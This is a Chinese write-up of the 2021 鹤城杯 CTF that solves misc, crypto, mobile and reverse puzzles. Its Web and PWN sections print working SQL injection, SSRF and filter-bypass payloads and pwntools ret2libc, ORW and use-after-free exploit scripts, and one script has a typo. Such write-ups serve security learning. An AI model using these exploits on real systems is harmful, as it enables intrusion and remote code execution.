参赛WP · 2021年10月9日

2021 鹤城杯 线上WP

Misc

new_misc

打开pdf,没发现什么异常。于是丢wbStego里,密码设置为空,跑了一下,然后就出了...

flag{verY_g00d_YoU_f0und_th1s}

流量分析

打开流量包,发现是记录的sql盲注的流量
于是导出http列表

发现正确返回的大小是704,于是按大小排序

手敲25次,得到
102 108 97 103 123 119 49 114 101 115 104 65 82 75 95 101 122 95 49 115 110 116 105 116 125
转成字符,得到flag

flag{w1reshARK_ez_1sntit}

misc2


附件是一张png,直接丢StegSolve里发现plan 0像是有东西

于是提取一下

发现HTML实体编码

flag{h0w_4bouT_enc0de_4nd_pnG}

于是解码一下得到flag

flag{h0w_4bouT_enc0de_4nd_pnG}

a_misc

拿到题目,是个压缩包,带密码,先试了下伪密码,不行,于是直接爆破,得到密码qwer

拿到1.png,但是图里只有百度网盘的链接,没有提取码。

XnView MP打开报错,多半是图片有改过,尝试改个大高度,出现了提取码。

下载得到file.pcap,打开看了下,http流量还挺多,应该是分析http的,所以还是用fiddler导入一下看看。

就是个sql注入的爆破,于是用tshark导出一下payload然后python跑一下,应该就能出flag。

tshark -r file.pcap -T fields -e urlencoded-form.value | findstr flag > data.txt

with open('data.txt', 'r', encoding='UTF-8') as f:
    data = f.read().strip().split('\n')
flag = [0 for i in range(50)]
for i in data:
    flag[int(i[73:i.find(',', 73)])] = int(i[i.find('=') + 1:i.find(',sleep')])
print(bytes(flag).decode())

得到flag。

flag{cd2c3e2fea463ded9af800d7155be7aq}

M1

打开压缩包,发现有注释

Password is longer than 16 bytes, and includes at least one number and one uppercase letter.
Feel free to crack it if you can, probably with your high-performance quantum computer 🙂

然后去谷歌搜了一下压缩包里的文件名...

找到了一篇文章 ctf02|Glun


对比了一下细节,emmm... 只能说一模一样吧

看了一下文章里的过程,爆破都要半小时。就没有进行复现,直接拉到最后得到flag

flag{5cae25efeb73d7ba22f7728427376f59}

Crypto

easy_crypto

打开txt

公正公正公正诚信文明公正民主公正法治法治诚信民主自由敬业公正友善公正平等平等法治民主平等平等和谐敬业自由诚信平等和谐平等公正法治法治平等平等爱国和谐公正平等敬业公正敬业自由敬业平等自由法治和谐平等文明自由诚信自由平等富强公正敬业平等民主公正诚信和谐公正文明公正爱国自由诚信自由平等文明公正诚信富强自由法治法治平等平等自由平等富强法治诚信和谐

核心价值观编码,解码得到flag

flag{IlUqU9O5guX6YiITsRNPiQmbhNRjGuTP}

a_crypto

打开附件得到:

4O595954494Q32515046324757595N534R52415653334357474R4N575955544R4O5N4Q46434S4O59474253464Q5N444R4Q51334557524O5N4S424944473542554O595N44534O324R49565746515532464O49345649564O464R4R494543504N35

于是
ROT13 到HEX 再Base32 Base64 base85(IPv6)


得到flag

flag{W0w_y0u_c4n_rea11y_enc0d1ng!}

babyrsa

这题是网上的原题,暑假刷题记录 三 - Hello World - Just So So ...,里面的第二个就是。

flag{ef5e1582-8116-4f61-b458-f793dc03f2ff}

Crazy_Rsa_Tech

这题的话给出了多组n/c,而且组数和e相等,那就是经典的低加密指数广播攻击特征,感觉套个通用的脚本就能出来。

from gmpy2 import *
from Crypto.Util.number import long_to_bytes as l2b

ns = [71189786319102608575263218254922479901008514616376166401353025325668690465852130559783959409002115897148828732231478529655075366072137059589917001875303598680931962384468363842379833044123189276199264340224973914079447846845897807085694711541719515881377391200011269924562049643835131619086349617062034608799, 92503831027754984321994282254005318198418454777812045042619263533423066848097985191386666241913483806726751133691867010696758828674382946375162423033994046273252417389169779506788545647848951018539441971140081528915876529645525880324658212147388232683347292192795975558548712504744297104487514691170935149949, 100993952830138414466948640139083231443558390127247779484027818354177479632421980458019929149817002579508423291678953554090956334137167905685261724759487245658147039684536216616744746196651390112540237050493468689520465897258378216693418610879245129435268327315158194612110422630337395790254881602124839071919, 59138293747457431012165762343997972673625934330232909935732464725128776212729547237438509546925172847581735769773563840639187946741161318153031173864953372796950422229629824699580131369991913883136821374596762214064774480548532035315344368010507644630655604478651898097886873485265848973185431559958627423847, 66827868958054485359731420968595906328820823695638132426084478524423658597714990545142120448668257273436546456116147999073797943388584861050133103137697812149742551913704341990467090049650721713913812069904136198912314243175309387952328961054617877059134151915723594900209641163321839502908705301293546584147, 120940513339890268554625391482989102665030083707530690312336379356969219966820079510946652021721814016286307318930536030308296265425674637215009052078834615196224917417698019787514831973471113022781129000531459800329018133248426080717653298100515701379374786486337920294380753805825328119757649844054966712377, 72186594495190221129349814154999705524005203343018940547856004977368023856950836974465616291478257156860734574686154136925776069045232149725101769594505766718123155028300703627531567850035682448632166309129911061492630709698934310123778699316856399909549674138453085885820110724923723830686564968967391721281, 69105037583161467265649176715175579387938714721653281201847973223975467813529036844308693237404592381480367515044829190066606146105800243199497182114398931410844901178842049915914390117503986044951461783780327749665912369177733246873697481544777183820939967036346862056795919812693669387731294595126647751951, 76194219445824867986050004226602973283400885106636660263597964027139613163638212828932901192009131346530898961165310615466747046710743013409318156266326090650584190382130795884514074647833949281109675170830565650006906028402714868781834693473191228256626654011772428115359653448111208831188721505467497494581]
cs = [62580922178008480377006528793506649089253164524883696044759651305970802215270721223149734532870729533611357047595181907404222690394917605617029675103788705320032707977225447998111744887898039756375876685711148857676502670812333076878964148863713993853526715855758799502735753454247721711366497722251078739585, 46186240819076690248235492196228128599822002268014359444368898414937734806009161030424589993541799877081745454934484263188270879142125136786221625234555265815513136730416539407710862948861531339065039071959576035606192732936477944770308784472646015244527805057990939765708793705044236665364664490419874206900, 85756449024868529058704599481168414715291172247059370174556127800630896693021701121075838517372920466708826412897794900729896389468152213884232173410022054605870785910461728567377769960823103334874807744107855490558726013068890632637193410610478514663078901021307258078678427928255699031215654693270240640198, 14388767329946097216670270960679686032536707277732968784379505904021622612991917314721678940833050736745004078559116326396233622519356703639737886289595860359630019239654690312132039876082685046329079266785042428947147658321799501605837784127004536996628492065409017175037161261039765340032473048737319069656, 1143736792108232890306863524988028098730927600066491485326214420279375304665896453544100447027809433141790331191324806205845009336228331138326163746853197990596700523328423791764843694671580875538251166864957646807184041817863314204516355683663859246677105132100377322669627893863885482167305919925159944839, 2978800921927631161807562509445310353414810029862911925227583943849942080514132963605492727604495513988707849133045851539412276254555228149742924149242124724864770049898278052042163392380895275970574317984638058768854065506927848951716677514095183559625442889028813635385408810698294574175092159389388091981, 16200944263352278316040095503540249310705602580329203494665614035841657418101517016718103326928336623132935178377208651067093136976383774189554806135146237406248538919915426183225265103769259990252162411307338473817114996409705345401251435268136647166395894099897737607312110866874944619080871831772376466376, 31551601425575677138046998360378916515711528548963089502535903329268089950335615563205720969393649713416910860593823506545030969355111753902391336139384464585775439245735448030993755229554555004154084649002801255396359097917380427525820249562148313977941413268787799534165652742114031759562268691233834820996, 25288164985739570635307839193110091356864302148147148153228604718807817833935053919412276187989509493755136905193728864674684139319708358686431424793278248263545370628718355096523088238513079652226028236137381367215156975121794485995030822902933639803569133458328681148758392333073624280222354763268512333515]
e = 9
assert len(ns) == len(cs) == e

def CRT(N, C):
    nmul = 1
    for i in N:
        nmul *= i
    sum = 0
    for n, c in zip(N, C):
        nresidue = nmul // n
        sum += c * nresidue * invert(nresidue, n)
    x = sum % nmul
    return x

x = CRT(ns, cs)
m = int(iroot(x, e)[0])
print l2b(m)

flag{H0w_Fun_13_HAstads_broadca5t_AtTack!}

Web

因赛题环境已关,只能复述思路和少量截图

middle_magic

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if (isset($_GET['aaa']) && strlen($_GET['aaa']) < 20) {
    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
    if (preg_match('/pass_the_level_1#/', $aaa)) {
        echo "here is level 2";
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
            // START FORM PROCESSING
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])) {
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    if ($level_3->result == $result) {
                        echo "success:" . $flag;
                    } else {
                        echo "you never beat me!";
                    }
                } else {
                    echo "out";
                }
            } else {
                die("no");
            }
            // perform validations on the form data
        } else {
            echo '<p>out!</p>';
        }
    } else {
        echo 'nonono!';
    }
    echo '<hr>';
}

level1:
正则 ^ $界定了必须在同一行,所以使用换行构造payload

/?aaa=%0apass_the_level_1%23

level2:
绕过sha1,在参数名后加[]
admin[]=1&root_pwd[]=2
level3:
json绕过,
admin[]=1&root_pwd[]=2&level_3={"result":0}

发下包,得到flag

flag{f03d41bf6c8d55f12324fd57f7a00427}

easy_sql_1

因环境关闭,没有相关截图。
当时找到了原题
https://wemp.app/posts/d742fadc-274c-4760-a961-03a24bba5043

直接把exp拿来,换个url就出flag了

import urllib.parse
import base64
import requests
import re
def exp(a,b):
 test =\
"""POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: this_is_your_cookie={0}
Content-Length: 24

uname=admin&passwd=admin
"""
 payload = "admin') and updatexml(1,concat(0x7e,(select substr((select flag from flag),{},{}))),1)#".format(a,b)
 payload = payload.encode("utf-8")
 payload = base64.b64encode(payload).decode('utf8')
 tmp = urllib.parse.quote(test.format(payload))
 new = tmp.replace('%0A','%0D%0A')
 result = 'gopher://127.0.0.1:80/'+'_'+new
 url_payload = "http://182.116.62.85:28303/use.php?url="+urllib.parse.quote(result)
 web = requests.post(url_payload)
 print(web.text)
exp(1,40)

easy_sql_2

账号密码登录

在username处存在sql注入,利用mysql8.0的新特性

username=a'||(('def','ctf','fl11aag','z',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,0,0)<(TABLE/**/information_schema.columns/**/order/**/by/**/table_schema/**/limit/**/3,1))#&password=admin

根据回显不同一个是登录成功 一个是错误 拿到flag所在的表名fl11aag

这里借助网上的脚本进行跑flag 有点问题的是刚开始flag跑到一半会出现错误 所以在一半的时候指定新的flag重新跑

import requests

url = "http://182.116.62.85:26571/login.php"
payload = ""
charset = "-.0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{|}~"

table_name = "flag{spMG94bd95z7h07ZZ"

for n in range(0, 50):
    for i in charset:
        payload = "a'||(('{}')<=binary(TABLE/**/fl11aag/**/limit/**/1,1))#".format(table_name+i)
        data = {"username": payload, "password": "1"}
        print(data)
        r = requests.post(url, data)
        if "username" in r.text:
            # print(r.text)
            print(i)
            table_name += chr(ord(i)-1)
            break
print(table_name)

easyp

在原题的基础上加了过滤
https://www.gem-love.com/ctf/1898.html (Can you guess it?)

对show_source进行了过滤
用url编码绕过,构造payload得到
http://182.116.62.85:21895/index.php/utils.php/%c9?%73%68%6f%77%5f%73%6f%75%72%63%65

flag{bsyxmK7ncU5nPjsGMckFo8kgq95qRasg}

spring


原题名字都给了,那就搜了找了几篇相关文章
https://www.xctf.org.cn/library/details/8ad0f5b6ac740ec0930e948a40f34a67b3d4f565/
https://chybeta.github.io/2017/07/16/XMAN%E9%80%89%E6%8B%94%E8%B5%9B-2017-web-writeup/
https://github.com/Medicean/VulApps/tree/master/s/springwebflow/1
跟着去复现,反弹shell

XMAN{UGhoiXoeDae6zeethaxoh1eex3xeiJ7y}

Mobile

AreYouRich

打开apk看了下,主activity就三段代码看起来比较重要。

大概意思就是有个f896a后面应该有用,然后o/p分别对应账号密码,账号每位异或个34再拼接个@001就是密码。

然后一个看起来能当全局变量用的token规则就是账号+密码+时间戳,中间用下划线隔一下。

接着去看user的activity。

其中获取flag的条件就是余额大于那个499999999,然后输出flag的话是个用初始化对象的时候的str变量参与另一个内置数组的异或拿到的,大致逻辑可见上图。

然后看下面初始化时的余额生成算法。

刚才那个a对象初始化时候的str变量跟了下是之前的token,所以flag其实是token相关且唯一相关的,那么就看token的合法逻辑是个啥了,而这里正好i5就是余额累加器,其中的条件成立则翻倍,不成立就加个随机数,所以既然要在有限次里得到499999999,那就让条件一直成立呗。而这里看了下,条件实际上的可控变量只有bytes,跟上去发现就是token,所以这里的成立逻辑正好可以用来生成token

理一下思路,就是构造token,使得余额生成时一直翻倍,达到499999999以上,然后去拿flag,或者用token直接构造flag。

token实际上只用到了前25位,因为循环变量int min = Math.min(bytes.length, bArr.length);跟一下变量来源就会发现实际上就是比较tokenf897b度谁更小,那自然是f897b小,所以正好与最后的时间戳无关,只与前面的账号10+下划线1+密码14有关。

那就可以写脚本了,主要就是把各种不可控的所需数据咋生成的给复制过来,然后爆破一下token每位的情况。

bytes2 = "5FQ5AaBGbqLGfYwjaRAuWGdDvyjbX5nH".encode()

bArr2 = [i for i in range(256)]
i2 = 0
i3 = 0
for i in range(256):
    i3 = ((bytes2[i2] & 255) + (bArr2[i] & 255) + i3) & 255
    b2 = bArr2[i]
    bArr2[i] = bArr2[i3]
    bArr2[i3] = b2
    i2 = (i2 + 1) % len(bytes2)

bArr = [81, 256-13, 84, 256-110, 72, 77, 256-96, 77, 32, 256-115, 256-75, 256-38, 256-97, 69, 256-64, 49, 8, 256-27, 56, 114, 256-68, 256-82, 76, 256-106, 256-34]
i5=16
i6=0
i7=0
token = []
for i in range(25):
    i6 = (i6 + 1) & 255
    i7 = ((bArr2[i6] & 255) + i7) & 255
    b3 = bArr2[i6]
    bArr2[i6] = bArr2[i7]
    bArr2[i7] = b3
    for j in range(256):
        if (bArr2[((bArr2[i6] & 255) + (bArr2[i7] & 255)) & 255] ^ j) == bArr[i]:
            token.append(j)
print(bytes(token).decode())

得到账号密码,然后flag生成懒得再继续写脚本了,所以就去app里拿吧。

flag{y0u_h@V3_@_107_0f_m0n3y!!}

designEachStep

这题jadx不认代码,当时懵逼了一下。

然后想起来有个叫gda的工具吹得挺牛逼的,就去试了下,没想到真的可以用,不过代码依旧有点问题,有时候代码前后逻辑矛盾的,所以还得靠像用ida那样猜。

主要的逻辑都在第二张图那个类里(因为图一确实没啥东西)。

大概看了一下,没咋看懂(java的流式读写的代码太狗屎了),不过刚开始应该是读取data.bin然后解一下gzip压缩。

所以就写脚本解个gzip试试。

import gzip

with open('data.bin', 'rb') as f:
    data = gzip.decompress(f.read())
print(data)

似乎前面几位有成为flag的趋势。

然后回去看代码,应该是解压后的前八位单独取出来,后面剩下的用前八位解一次DES/ECB/PKCS5Padding,至于为什么是用这个模式,因为DES的话是上面String str = "DES";定义的,拼在加密工具类初始化里了cInstance1 = Cipher.getInstance(str);,然后ECB/PKCS5Paddingjavax.crypto.Cipher在解DES的默认模式(不指定的话)。

所以改进一下脚本看看能不能成功解码。

import gzip
from Crypto.Cipher import DES

with open('data.bin', 'rb') as f:
    data = gzip.decompress(f.read())
part1 = data[:8]
print(part1)  # DE5_c0mp
data = data[8:]

des = DES.new(part1, DES.MODE_ECB)
data = des.decrypt(data)
print(data)

不过看不出啥东西,至少没报错就是好事,接着去看代码。

似乎又是解了个类似于压缩一样的东西,查了下inflater.inflate就是python里的zlib.decompress,所以那就去解一下看看呗。

又是一个看起来能成为flag的开头。

然后下面接着看代码,又是解一次des,用的密钥就是刚出来的那个前八位。

所以再改改脚本看看。

import gzip
from Crypto.Cipher import DES
import zlib

with open('data.bin', 'rb') as f:
    data = gzip.decompress(f.read())
part1 = data[:8]
print(part1)  # DE5_c0mp
data = data[8:]

des = DES.new(part1, DES.MODE_ECB)
data = des.decrypt(data)
data = zlib.decompress(data)
part2 = data[:8]
print(part2)  # r355_m@y
data = data[8:]
des = DES.new(part2, DES.MODE_ECB)
data = des.decrypt(data)
print(data)

然后看网上有些文章说python解des出来可能会有奇奇怪怪的填充头尾,所以图上的0xff都是没必要的,去真正的开头看看有啥。

好家伙我感觉flag都要出来了,因为刚开始要求输入的就是24位,之前两次8位已经出来了,这次能当明文的有9位,那就都拿去app里试试。

于是在输入DE5_c0mpr355_m@y_c0nfu53的时候成功拿到flag。

'flag{DE5_c0mpr355_m@y_c0nfu53}'

Reverse

petition

拖进ida看一下,顺带修一下数据的显示格式。

应该就是套娃调用然后每层都有一点点的数据生成。

比如说第一次的30^120=102=f,第二次的0x6c=l,第三次的7^0x66=97=a,那么直接手工把数据全拿出来呗。

30^120
0x6c
7^0x66
0xce^0xa9
0xf9^0x82
0x8c^0xb5
0x88^0xbe
0xa8^0xcb
0x52^0x64
0x99^0xa0
0x19^0x2f
0x15^0x21
0x66^0x50
0x2e^3
0xaf^0x97
0xf6^0xc7
0x43^0x7b
0x2c^0x18
0xc9^0xe4
0xca^0xfe
0x66^0x55
0xaa^0x9c
0x4c^0x7f
0x2d
0x25^0x1d
0xd6^0xb2
0x9a
0x44^0x7d
0xbd^0x90
0x72^0x45
0x65^0x56
8^0x6e
0x85^0xb2
0x12^0x21
0x7f^0x46
0x13^0x2b
0x24^0x14
0xfc^0xca
0x24^0x12
0x33^0x50
0x23^0x12
0x97^0xea
0xb2^0xb2

发现在0x9a那个地方有点问题,回ida去看看是不是打错了。

对比了一下发现是有一个取反的操作。

所以尝试算一下0x9a取反看看能不能得到一个0~9a~f的字符,试了一下确实可以。

所以最终flag就是flag{96c69646-8184-4363-8de9-73f7398066c1}

flag{96c69646-8184-4363-8de9-73f7398066c1}

PWN

因环境关闭,故没有附图

littleof

ret2libc,通过put泄露libc得到system函数地址,其中还需要泄露出canary 最后payload加上canary

from pwn import *
p = process("./littleof")
context.arch = "amd64"
context.log_level = "debug"
libc = ELF("./libc-2.27.so")
elf = ELF("./littleof")
base = 0x3ff000
p.recvuntil("overflow?")
p.send("a"*0x47+"b"+"c")
p.recvuntil("b")
canary = u64(p.recv(8).ljust(8,"\x00")) 
canary = canary & 0xFFFFFFFFFFFFFF00
pop_rdi = 0x0000000000400863
pop_rsi_r15 = 0x400861
p.recvuntil("!")
payload = "a"*0x48+p64(canary)
payload+="aaaaaaaa"
payload+=p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x400789)
p.sendline(payload)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base = puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search('/bin/sh\x00'))
p.recvuntil("Do you know how to do buffer overflow?")
payload = "a"*0x48+p64(canary)*2
payload+=p64(pop_rdi)+p64(binsh)+p64(pop_rsi_r15)+p64(0)*2+p64(system)
p.sendline(payload)
p.interactive()

babyof

还是栈溢出 泄露libc 然后getshell

from pwn import *
p = process("./babyof")
context.arch = "amd64"
context.log_level = "debug"
libc = ELF("./libc-2.27.so")
elf = ELF("./babyof")
p.recvuntil("Do you know how to do buffer overflow?")
pop_rdi = 0x400743
pop_rsi_r15 = 0x400741
payload = "a"*0x40+"aaaaaaaa"
pauload+=p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])
payload+=p64(0x40066b)
p.sendline(payload)
puts = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base = puts - libc.sym["puts"]
success("libc_base:"+hex(libc_base))
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search('/bin/sh\x00'))
p.recvuntil("Do you know how to do buffer overflow?")
payload = "a"*0x48
payload+=p64(pop_rdi)+p64(binsh)+p64(pop_rsi_r15)+p64(0)*2+p64(system)
p.sendline(payload)
p.interactive()

ONECHO

scanf存在溢出没有x00截断 存在沙箱通过orw读取flag

需要注意的是在溢出的时候会覆盖memcpy复制的大小 把覆盖成1就可以

from pwn import *
context.log_level = "debug"
p = process("./onecho")
elf = ELF("./onecho")
libc = ELF("./libc.so.6")
p.recvuntil('[*] Input your name:')
pop_ret = 0x08049022
puts_plt = 0x8049184
read_plt = 0x8049134
pop3_ret = 0x8049811
pop2_ret = 0x8049812
s = 0x0804C100
vul = 0x80495C6
buf = 0x0804c200
payload = '\x00' + 'a' * (0x10c-1)+'b' * 0x4+p32(pop_ret) + p32(s)+p32(puts_plt) + p32(pop_ret) + p32(elf.got['puts'])+p32(read_plt) + p32(pop3_ret) + p32(0) + p32(buf) + p32(0x8)+p32(vul)
p.sendline(payload)
sleep(0.2)
p.send('flag\x00')
libc_base = u32(p.recvuntil('\xf7')[-4:]) - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
orw = p32(open_addr) + p32(pop2_ret) + p32(buf) + p32(0)+p32(read) + p32(pop3_ret) + p32(3) + p32(buf + 0x100) + p32(0x30) +p32(puts_plt) + p32(vul) + p32(buf + 0x100)
payload = '\x00' + 'a' * (0x10c - 1)+'b' * 0x4+p32(pop_ret) + p32(s) + p32(pop_ret) + p32(0)+p32(open_addr) + p32(pop2_ret) + p32(buf) + p32(0)+p32(read_plt) + p32(pop3_ret) + p32(3) + p32(0x0804c600) + p32(0x100)+p32(puts_plt) + p32(puts_plt) + p32(0x0804c600) + p32(0x804953E)
p.sendline(payload)
p.interactive()

easycho

存在后门函数利用__libc_message将数据读到终端拿到flag

from pwn import *
p = process('./easyecho')
elf = ELF('./easyecho')
p.recvuntil("Name:")
p.send('A' * 0x10)
p.recvuntil("Welcome AAAAAAAAAAAAAAAA")
leak = u64(p.recv(6).ljust(8, b'\x00'))
pie_base = leak - 0xcf0
flag = pie_base + 0x0202040
p.sendlineafter("Input: ",'backdoor')
payload='a' * 352 + p64(0) + p64(flag)
p.sendlineafter("Input: ",payload)
p.sendlineafter("Input: ",'exitexit')
p.interactive()

pwn1

存在一个uaf漏洞,改写got表

原题参考

https://blog.csdn.net/seaaseesa/article/details/103093182

from pwn import *
from time import sleep
p = process("./task_supermarket")
libc = ELF("./libc-2.23.so")
def add(name, descrip_size, description):
    p.sendlineafter('your choice>>','1')  
    p.sendlineafter('name:',name)
    p.sendline(name)    
    p.recvuntil("price:")
    p.sendline('80')
    p.sendlineafter('descrip_size:',str(descrip_size)) 
    p.sendlineafter('description:',description)  
def free(name):
    p.sendlineafter('your choice>>','2')  
    p.sendlineafter('name:',name)    
def list():
    p.sendlineafter('your choice>>','3') 
def change_price(name,  value):
    p.sendlineafter('your choice>>','4') 
    p.sendlineafter('name:',name)   
    p.recvuntil("input the value you want to cut or rise in:")
    p.sendline(str(value))
def edit(name, descrip_size, description):
    p.sendlineafter('your choice>>','5') 
    p.sendlineafter('name:',name) 
    p.recvuntil("descrip_size:")
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    p.send(description)

add('0', 0x1c, '\n')
add('1', 0x1c, '\n')
add('2', 0x1c, '\n')
add('3', 0x1c, '\n')
edit('1', 0x30, '\n')
add('4', 0x1c, '\n')
add('5', 0x80, '\n')
read_got = 0x0804B010
payload = p32(0x34)+p32(0) * 3+p32(0x50)+'\x90\n'
edit('1', 0x1c, payload)
payload = '\x00' * (0x20 - 8)+p32(0)+p32(0x21)+p32(0x35)+p32(0) * 3+p32(0x50)+p32(0x90)+p32(0x0804B048)
edit('4', 0x90, payload + '\n')
list()
p.recvuntil("5: price.80, des.")
leak = u32(p.recv(4))
libc.address = leak - libc.symbols['atoi']
payload = p32(libc.symbols['system'])
edit('5', 0x90, payload + '\n')
p.recvuntil("your choice>> ")
p.sendline("sh")
p.interactive()